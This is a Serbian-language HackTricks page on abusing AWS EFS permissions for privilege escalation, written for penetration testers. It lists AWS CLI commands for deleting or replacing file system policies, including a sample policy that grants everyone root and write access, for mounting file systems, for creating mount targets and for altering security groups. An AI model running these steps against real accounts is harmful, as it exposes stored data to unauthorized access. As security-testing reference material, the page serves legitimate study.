AWS - EFS Privesc
Reading time: 4 minutes
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
EFS
Više informacija o EFS u:
Zapamtite da da biste montirali EFS, morate biti u podmreži gde je EFS izložen i imati pristup njemu (grupe bezbednosti). Ako se to dešava, po defaultu, uvek ćete moći da ga montirate, međutim, ako je zaštićen IAM politikama, potrebno je da imate dodatne dozvole navedene ovde da biste mu pristupili.
elasticfilesystem:DeleteFileSystemPolicy
|elasticfilesystem:PutFileSystemPolicy
Sa bilo kojom od tih dozvola, napadač može promeniti politiku datotečnog sistema da omogući pristup ili jednostavno izbrisati tako da se default pristup odobri.
Da biste izbrisali politiku:
aws efs delete-file-system-policy \
--file-system-id <value>
Da biste to promenili:
aws efs put-file-system-policy --file-system-id <fs-id> --policy file:///tmp/policy.json
// Give everyone trying to mount it read, write and root access
// policy.json:
{
"Version": "2012-10-17",
"Id": "efs-policy-wizard-059944c6-35e7-4ba0-8e40-6f05302d5763",
"Statement": [
{
"Sid": "efs-statement-2161b2bd-7c59-49d7-9fee-6ea8903e6603",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"elasticfilesystem:ClientRootAccess",
"elasticfilesystem:ClientWrite",
"elasticfilesystem:ClientMount"
],
"Condition": {
"Bool": {
"elasticfilesystem:AccessedViaMountTarget": "true"
}
}
}
]
}
elasticfilesystem:ClientMount|(elasticfilesystem:ClientRootAccess)|(elasticfilesystem:ClientWrite)
Sa ovom dozvolom, napadač će moći da montira EFS. Ako dozvola za pisanje nije data podrazumevano svima koji mogu da montiraju EFS, imaće samo pristup za čitanje.
sudo mkdir /efs
sudo mount -t efs -o tls,iam <file-system-id/EFS DNS name>:/ /efs/
Dodatne dozvole elasticfilesystem:ClientRootAccess
i elasticfilesystem:ClientWrite
mogu se koristiti za pisanje unutar datotečnog sistema nakon što je montiran i za pristup tom datotečnom sistemu kao root.
Potencijalni uticaj: Indirektno povećanje privilegija pronalaženjem osetljivih informacija u datotečnom sistemu.
elasticfilesystem:CreateMountTarget
Ako je napadač unutar podmreže gde ne postoji montažna tačka EFS-a. On bi mogao jednostavno da kreira jednu u svojoj podmreži sa ovom privilegijom:
# You need to indicate security groups that will grant the user access to port 2049
aws efs create-mount-target --file-system-id <fs-id> \
--subnet-id <value> \
--security-groups <value>
Potencijalni uticaj: Indirektno povećanje privilegija pronalaženjem osetljivih informacija u fajl sistemu.
elasticfilesystem:ModifyMountTargetSecurityGroups
U scenariju gde napadač otkrije da EFS ima mount target u njegovoj podmreži, ali nema sigurnosne grupe koja dozvoljava saobraćaj, mogao bi jednostavno promeniti to modifikovanjem odabranih sigurnosnih grupa:
aws efs modify-mount-target-security-groups \
--mount-target-id <value> \
--security-groups <value>
Potencijalni Uticaj: Indirektno eskaliranje privilegija pronalaženjem osetljivih informacija u fajl sistemu.
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.